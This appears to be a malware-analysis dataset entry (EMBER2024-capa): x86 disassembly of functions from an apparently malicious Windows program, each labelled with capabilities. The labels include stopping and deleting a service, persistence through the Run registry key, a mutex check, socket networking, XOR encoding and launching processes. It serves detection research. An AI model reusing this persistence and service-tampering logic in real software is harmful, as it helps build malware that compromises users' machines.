joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402e80
Capabilities:
Delete service
Stop service

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
xor esi, esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x402f2e
mov eax, dword [str.Network_Services]
push 0x10020
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x402f0d
lea ecx, [esp + 0xc]
push ebp
push ecx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402ede
call ebp
mov esi, eax
cmp esi, 0x426
jne 0x402ede
xor esi, esi
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x402ef7
call ebp
mov esi, eax
cmp esi, 0x430
jne 0x402ef7
xor esi, esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push ebx
call edi
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x424
jne 0x402f25
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1c
ret
call esi
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
pop edi
pop esi
pop ebx
add esp, 0x1c
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x4031b0
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x154
mov dword [0x40ba18], 0
mov eax, dword [0x40ba18]
push esi
push 0
mov dword [0x40ba1c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x40ba20], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x40ba14], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
test esi, esi
je 0x4031fc
push 0x64
push esi
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
test eax, eax
je 0x403201
mov esi, 0x40ba5c
push 0x409454
push esi
call fcn.00403860
add esp, 8
test eax, eax
je 0x403270
call fcn.00402e80
mov ecx, dword [0x4093b8]
push ecx
push 0x67
push 0x80000002
call fcn.00403d20
mov edx, dword [0x4093b8]
push edx
push 0x67
push 0x80000001
call fcn.00403d20
add esp, 0x18
lea eax, [esp + 0x14]
push 0x144
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 4
lea ecx, [esp + 0x18]
push 0
push ecx
call fcn.00403d80
add esp, 0xc
xor eax, eax
pop esi
add esp, 0x154
ret 0x10
push 0x409398
push esi
call fcn.00403860
add esp, 8
test eax, eax
je 0x4032cc
push 0x40939c
push esi
call fcn.00403860
add esp, 8
test eax, eax
je 0x4032cc
push 0x40939c
push esi
call fcn.00403860
add esp, 8
add eax, 3
push eax
push 0x409398
push esi
call fcn.00403860
add esp, 8
add eax, 3
push eax
call fcn.004036d0
add esp, 8
xor eax, eax
pop esi
add esp, 0x154
ret 0x10
push str._srv
push esi
call fcn.00403860
add esp, 8
test eax, eax
je 0x40335c
mov edx, dword [str.Network_Services]
mov esi, 1
mov dword [0x40ba18], esi
mov dword [esp + 4], edx
mov dword [esp + 8], 0x4033f0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call fcn.00401000
lea eax, [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
mov dword [0x40ba1c], esi
call fcn.00402500
call sub.WS2_32.dll_WSACleanup
mov eax, dword [0x40b9f4]
test eax, eax
je 0x4033b1
mov ecx, dword [0x40ba18]
test ecx, ecx
je 0x4033b1
push 0x40b9f8
push eax
mov dword [0x40b9fc], esi
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
xor eax, eax
pop esi
add esp, 0x154
ret 0x10
call fcn.00403500
test eax, eax
je 0x4033b1
mov ecx, dword [0x4093b8]
push ecx
push esi
call fcn.00403860
neg eax
sbb eax, eax
inc eax
push eax
call fcn.00402cd0
mov edx, dword [0x4093b8]
push edx
push 0x66
push 0x80000002
call fcn.00403d20
add esp, 0x18
test eax, eax
jne 0x4033ac
mov eax, dword [0x4093b8]
push eax
push 0x66
push 0x80000001
call fcn.00403d20
add esp, 0xc
call fcn.004033c0
xor eax, eax
pop esi
add esp, 0x154
ret 0x10
Function at 0x403500
Capabilities:
Accept command line arguments
Check if file exists
Create process on windows
Get common file path
Get file attributes

Disassembly:
mov eax, dword [0x4093b8]
sub esp, 0x30c
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.00403860
add esp, 8
test eax, eax
je 0x40352b
mov eax, 1
add esp, 0x30c
ret
push ebx
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x214]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x110]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x214]
push 0x104
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0xc]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0xc]
push eax
call edi
mov esi, eax
mov bl, 0x5c
cmp byte [esp + esi + 0xb], bl
je 0x403597
mov byte [esp + esi + 0xc], bl
inc esi
push ebp
call fcn.00402f40
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + esi + 0x10]
push eax
push ecx
call ebp
lea edx, [esp + 0x114]
push edx
push 0
push 0
push 0x23
push 0
call fcn.004038d0
add esp, 0x14
lea eax, [esp + 0x114]
push eax
call edi
mov esi, eax
cmp byte [esp + esi + 0x113], bl
je 0x4035e0
mov byte [esp + esi + 0x114], bl
inc esi
call fcn.00402f40
lea ecx, [esp + esi + 0x114]
push eax
push ecx
call ebp
lea edx, [esp + 0x10]
push 0
lea eax, [esp + 0x21c]
push edx
push eax
call fcn.00402fc0
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop ebp
test eax, eax
je 0x403621
mov ecx, dword [0x4093b8]
push 0
push 0
lea edx, [esp + 0x14]
push ecx
push edx
jmp 0x40365e
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x403667
lea ecx, [esp + 0x110]
push 0
lea edx, [esp + 0x218]
push ecx
push edx
call fcn.00402fc0
test eax, eax
je 0x403667
mov eax, dword [0x4093b8]
push 0
push 0
lea ecx, [esp + 0x118]
push eax
push ecx
push str.open
push 0
call esi
push 0x40945c
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.00403860
add esp, 8
test eax, eax
je 0x4036ba
xor eax, eax
cmp byte [esp + eax + 0x214], bl
je 0x40369b
inc eax
cmp eax, 0x104
jb 0x403681
cmp byte [esp + eax + 0x214], bl
jne 0x4036ba
push 5
push 0
lea edx, [esp + 0x21c]
push 0
push edx
push str.open
push 0
mov byte [esp + eax + 0x22d], 0
call esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x30c
ret
Function at 0x4036d0
Capabilities:
Create process on windows

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x248
mov al, byte [ecx]
cmp al, 0x20
je 0x4036ec
cmp al, 0xd
je 0x4036ec
cmp al, 0xa
je 0x4036ec
cmp al, 9
jne 0x4036ef
inc ecx
jmp 0x4036da
mov eax, dword [esp + 0x250]
mov dl, byte [eax]
cmp dl, 0x20
je 0x40370c
cmp dl, 0xd
je 0x40370c
cmp dl, 0xa
je 0x40370c
cmp dl, 9
jne 0x40370f
inc eax
jmp 0x4036f6
push esi
push edi
lea edi, [esp + 0x48]
xor esi, esi
sub edi, ecx
mov dl, byte [ecx]
test dl, dl
je 0x403731
cmp dl, 0x20
je 0x403731
mov byte [edi + ecx], dl
inc esi
inc ecx
cmp esi, 0x103
jb 0x403719
mov byte [esp + esi + 0x48], 0
lea esi, [esp + 8]
xor edx, edx
sub esi, eax
mov cl, byte [eax]
test cl, cl
je 0x403753
cmp cl, 0x20
je 0x403753
mov byte [esi + eax], cl
inc edx
inc eax
cmp edx, 0x3f
jb 0x40373e
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x14c]
push 0x104
rep stosd dword es:[edi], eax
lea eax, [esp + 0x150]
mov byte [esp + edx + 0xc], 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
lea ecx, [esp + 8]
lea edx, [esp + 0x48]
push ecx
lea eax, [esp + 0x150]
push edx
push eax
call fcn.00402fc0
test eax, eax
jne 0x4037b9
push 0x1388
call edi
inc esi
cmp esi, 0x4e20
jl 0x403785
pop edi
pop esi
add esp, 0x248
ret
mov ecx, dword [0x4093b8]
push 0
push 0
lea edx, [esp + 0x50]
push ecx
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
add esp, 0x248
jmp fcn.00402500

Function at 0x403920
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
test eax, eax
je 0x403930
mov dword [eax], ebp
mov edi, dword [esp + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push edi
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x40398e
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push edi
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x40398e
push 0
push 0x80
push 3
push 0
push 7
push 0x80000000
push edi
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x4039fa
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x4039a5
mov dword [ecx], eax
test eax, eax
jbe 0x4039f3
add eax, 0x10
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
test ebp, ebp
je 0x4039f3
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x14]
push 0
inc ecx
push eax
push ecx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4039ea
mov edx, dword [esp + 0x14]
push esi
mov byte [edx + ebp], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
ret
push ebp
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor ebp, ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
ret
Function at 0x403a10
Capabilities:
Check if file exists
Get file attributes
Set file attributes
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x20]
xor eax, eax
push esi
push edi
mov dword [esp + 0x18], 0xcdcd
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
test eax, eax
jne 0x403ace
mov eax, dword [esp + 0x10]
test eax, eax
je 0x403a62
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403a54
mov edi, 0x80
push 0x80
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x403a67
mov edi, 0x80
push 0
push edi
push 2
push 0
push 1
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403aac
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x18]
push 0
push eax
push ebp
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x18], ebp
jne 0x403aac
mov dword [esp + 0x14], 1
mov esi, dword [esp + 0x10]
test esi, esi
je 0x403abc
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [esp + 0x14]
inc esi
cmp esi, 2
mov dword [esp + 0x10], esi
jl 0x403a31
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x403b50
Capabilities:
Delete registry value
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x808
mov eax, dword [esp + 0x818]
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
push edi
push 0x3fe
lea ecx, [esp + 0x19]
push eax
push ecx
xor edi, edi
mov byte [esp + 0x20], 0x22
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [esp + 0x14]
push edx
call ebp
mov ecx, dword [esp + 0x828]
mov byte [esp + eax + 0x14], 0x22
inc eax
cmp ecx, 0x400
mov byte [esp + eax + 0x14], 0
jbe 0x403bbc
cmp byte [ecx], 0
je 0x403bbc
mov byte [esp + eax + 0x14], 0x20
inc eax
mov edx, 0x3ff
sub edx, eax
lea eax, [esp + eax + 0x14]
push edx
push ecx
push eax
call esi
mov esi, dword [esp + 0x818]
lea ecx, [esp + 0xc]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403be8
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x403c15
lea edx, [esp + 0xc]
mov dword [esp + 0xc], 0
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x403d0c
mov eax, dword [esp + 0xc]
test eax, eax
je 0x403d0c
mov ecx, dword [esp + 0x81c]
sub ecx, 0x65
je 0x403c93
dec ecx
je 0x403c51
mov ecx, dword [esp + 0x820]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [esp + 0xc]
mov esi, eax
neg esi
sbb esi, esi
push ecx
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x808
ret
lea edx, [esp + 0x14]
push edx
call ebp
mov ecx, dword [esp + 0x820]
mov edx, dword [esp + 0xc]
push eax
lea eax, [esp + 0x18]
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0xc]
mov esi, eax
neg esi
sbb esi, esi
push ecx
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x808
ret
lea ecx, [esp + 0x10]
lea edx, [esp + 0x414]
push ecx
mov ecx, dword [esp + 0x824]
push edx
push 0
push 0
push ecx
push eax
mov dword [esp + 0x28], 0x3ff
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403cf3
lea edx, [esp + 0x14]
lea eax, [esp + 0x414]
push edx
push eax
call fcn.00403860
mov ecx, dword [esp + 0x14]
mov esi, eax
add esp, 8
neg esi
sbb esi, esi
push ecx
neg esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x808
ret
mov ecx, dword [esp + 0xc]
xor esi, esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x808
ret
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x808
ret
Function at 0x403dd0
Capabilities:
Check mutex on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x100
push esi
xor esi, esi
cmp eax, 0x400
jbe 0x403e6b
cmp byte [eax], 0x2a
jne 0x403df3
mov esi, 1
inc eax
mov ecx, dword [0x40ba54]
test ecx, ecx
je 0x403e0e
test esi, esi
jne 0x403e6b
mov eax, dword [0x40ba58]
pop esi
add esp, 0x100
ret
push eax
push str.Global
lea eax, [esp + 0xc]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 4]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
mov dword [0x40ba54], eax
je 0x403e53
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
je 0x403e5d
cmp eax, 0xb7
jne 0x403e67
jmp 0x403e5d
mov dword [0x40ba54], 0xffffffff
mov dword [0x40ba58], 1
test esi, esi
je 0x403e01
mov eax, dword [0x40ba54]
test eax, eax
je 0x403e80
cmp eax, 0xffffffff
je 0x403e80
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x40ba58]
mov dword [0x40ba54], 0
mov dword [0x40ba58], 0
pop esi
add esp, 0x100
ret

Function at 0x403ff0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push esi
mov esi, dword [esp + 8]
mov ecx, esi
xor eax, eax
mov dword [ecx], eax
mov dword [ecx + 4], eax
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
test eax, eax
mov dword [esi + 4], eax
jne 0x404015
mov dword [esi], 0xffffffff
pop esi
ret 4
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x404038
mov edx, dword [esi + 4]
push edx
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
xor eax, eax
pop esi
ret 4
mov ecx, dword [esi + 4]
push 0x33
push ecx
push eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x404063
mov edx, dword [esi + 4]
push edx
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov eax, dword [esi]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop esi
ret 4
mov eax, 1
pop esi
ret 4
Function at 0x4040a0
Capabilities:
Connect socket
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x1c]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
mov dword [esp + 0x1c], eax
je 0x4040ca
push 2
lea eax, [esp + 0x20]
push 4
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x4040d9
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x404185
cmp word [eax + 0xa], 4
jne 0x404185
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov edx, dword [eax + 0xc]
mov ecx, dword [edx]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x20]
mov dword [esp + 8], edx
mov ax, word [eax + 8]
push ecx
mov word [esp + 8], ax
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
mov esi, dword [esp + 0x1c]
mov word [esp + 0xa], ax
push edx
mov eax, dword [esi]
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40413e
mov eax, 1
pop esi
add esp, 0x10
ret 0xc
push esi
call fcn.00404190
add esp, 4
cmp eax, 0x2733
je 0x404155
cmp eax, 0x2734
jne 0x40417a
push 0x4e20
push 0x10
push esi
call fcn.00403f00
test eax, eax
jle 0x40417a
push 0x2710
push 2
push esi
call fcn.00403f00
pop esi
add esp, 0x10
ret 0xc
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
xor eax, eax
pop esi
add esp, 0x10
ret 0xc

Function at 0x404200
Capabilities:
Receive data
Receive data on socket

Disassembly:
push edi
mov edi, dword [esp + 8]
mov eax, dword [edi]
cmp eax, 0xffffffff
jne 0x404212
xor eax, eax
pop edi
ret 0xc
mov ecx, dword [edi + 4]
test ecx, ecx
jne 0x40421f
xor eax, eax
pop edi
ret 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push esi
push 0
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40424a
push edi
call fcn.00404190
add esp, 4
mov eax, esi
pop esi
pop edi
ret 0xc
test esi, esi
jne 0x404257
push edi
call fcn.00403fc0
add esp, 4
mov eax, esi
pop esi
pop edi
ret 0xc

Function at 0x4042f0
Capabilities:
Check for time delay via gettickcount
Send data
Send data on socket

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [esp + 0x20]
mov ebx, dword [esp + 0x1c]
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x10], eax
xor esi, esi
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx]
cmp eax, 0xffffffff
je 0x40437a
mov edx, dword [ecx + 4]
test edx, edx
je 0x40437a
mov ecx, edi
push 0
sub ecx, esi
lea edx, [esi + ebx]
push ecx
push edx
push eax
call ebp
cmp eax, 1
jge 0x404343
mov eax, dword [esp + 0x18]
push eax
call fcn.00404190
add esp, 4
jmp 0x404354
add esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x10], eax
call fcn.004010e0
cmp esi, edi
jge 0x40437a
mov ecx, dword [esp + 0x10]
push ecx
call fcn.00403850
add esp, 4
cmp eax, 0x4e20
jge 0x40437a
mov edx, dword [esp + 0x18]
push edx
call fcn.00404080
test eax, eax
jne 0x40430f
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc
Function at 0x4046d0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
xor esi, esi
test ebx, ebx
jle 0x40470a
mov ecx, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x14]
mov al, byte [esi + edi]
xor al, cl
mov byte [esi + edi], al
mov eax, 0x24924925
mul ecx
mov eax, ecx
lea ecx, [ecx + ecx*2]
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
add ecx, eax
inc esi
cmp esi, ebx
jl 0x4046e5
pop edi
pop esi
pop ebx
ret

Function at 0x40569b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4095c8
cmp edx, dword [eax]
je 0x4056bd
add eax, 8
inc ecx
cmp eax, 0x409658
jl 0x4056ae
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4095c8]
jne 0x4057eb
mov eax, dword [0x40ba68]
cmp eax, 1
je 0x4057c5
test eax, eax
jne 0x4056ee
cmp dword [0x40952c], 1
je 0x4057c5
cmp edx, 0xfc
je 0x4057eb
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x405725
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00405c80
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00405e30
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x405768
lea eax, [ebp - 0x1a4]
push eax
call fcn.00405e30
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x408528
push edi
call fcn.004074d0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00405c80
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00405c90
lea eax, [ebp - 0xa0]
push 0x408508
push eax
call fcn.00405c90
push dword [esi + 0x4095cc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00405c90
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00407444
add esp, 0x2c
pop edi
jmp 0x4057eb
lea eax, [ebp + 8]
lea esi, [esi + 0x4095cc]
push 0
push eax
push dword [esi]
call fcn.00405e30
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401c5c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp + 0x14]
mov byte [ebp - 0x40], al
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 0x30]
mov dword [ebp - 0x4c], eax
fld qword [0x4d55b8]
fstp qword [ebp - 0x20]
mov byte [ebp - 0x21], 0
mov dword [ebp - 0x28], 0x761
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0xc4a6
jg 0x401d19
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp], 0x9da59
mov eax, dword [sym.imp.USER32.dll_GetSysColorBrush]
call eax
sub esp, 4
mov eax, dword [ebp - 0x28]
shl eax, 2
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x2c], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x4015d4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
add dword [ebp - 0xc], 1
jmp 0x401c9e
mov dword [ebp - 0x10], 2
cmp dword [ebp - 0x10], 0
jle 0x401d2d
nop
sub dword [ebp - 0x10], 1
jmp 0x401d20
mov dword [ebp - 0x14], 8
cmp dword [ebp - 0x14], 0
jle 0x401d41
nop
sub dword [ebp - 0x14], 1
jmp 0x401d34
fld qword [0x4d55c0]
leave
ret 0x2c